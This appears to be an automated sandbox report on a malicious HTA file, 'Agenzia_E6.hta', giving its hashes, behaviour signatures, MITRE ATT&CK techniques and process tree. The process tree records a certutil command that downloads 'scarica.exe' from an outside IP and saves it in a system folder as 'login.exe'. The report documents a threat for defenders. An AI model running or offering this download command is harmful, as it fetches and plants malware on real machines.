f3e22541b0b3d84e87fd6c6a50c4c0d6a57f76ee19402002c6da0a3acc5cc3cb

Analysis

max time kernel
157s
max time network
190s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
10/02/2023, 07:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Agenzia_E6.hta
Size 7KB
Sample230210-jspmcsba4t
SHA256 f3e22541b0b3d84e87fd6c6a50c4c0d6a57f76ee19402002c6da0a3acc5cc3cb
MD5 c1e86a74acbf99b7c3bd0b1f3bbf97b1
SHA1 e32f227e195f2e93fdde11926b319fbc19aa695a
SHA512 413a11782b4e9bdf819174e5bc6a393d1b55a2a581df6209b9f4403aa3efe714f95bafe0c262f975b33471efd007052124ca9342dad0bdc59c975e2a4363f2e6
SSDEEP 96:SPcLlcf0ONEbJPl0EJjAr3BZE5S4dwatCu2WJ3f2Wgw9RKUzVj5q4NaM+12AVoot:SEJNbFF6r/TC0u2W37V5q0aM0I20lo
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5020 wrote to memory of 3544	5020	mshta.exe	84
PID 5020 wrote to memory of 3544	5020	mshta.exe	84
PID 5020 wrote to memory of 3544	5020	mshta.exe	84
PID 3544 wrote to memory of 3632	3544	cmd.exe	86
PID 3544 wrote to memory of 3632	3544	cmd.exe	86
PID 3544 wrote to memory of 3632	3544	cmd.exe	86

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\Agenzia_E6.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c certutil -urlcache -split -f http://62.173.147.2/scarica.exe C:\Windows\\System32\\LogFiles\\\login.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\SysWOW64\certutil.exe
    certutil -urlcache -split -f http://62.173.147.2/scarica.exe C:\Windows\\System32\\LogFiles\\\login.exe
    3⤵
    PID:3632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads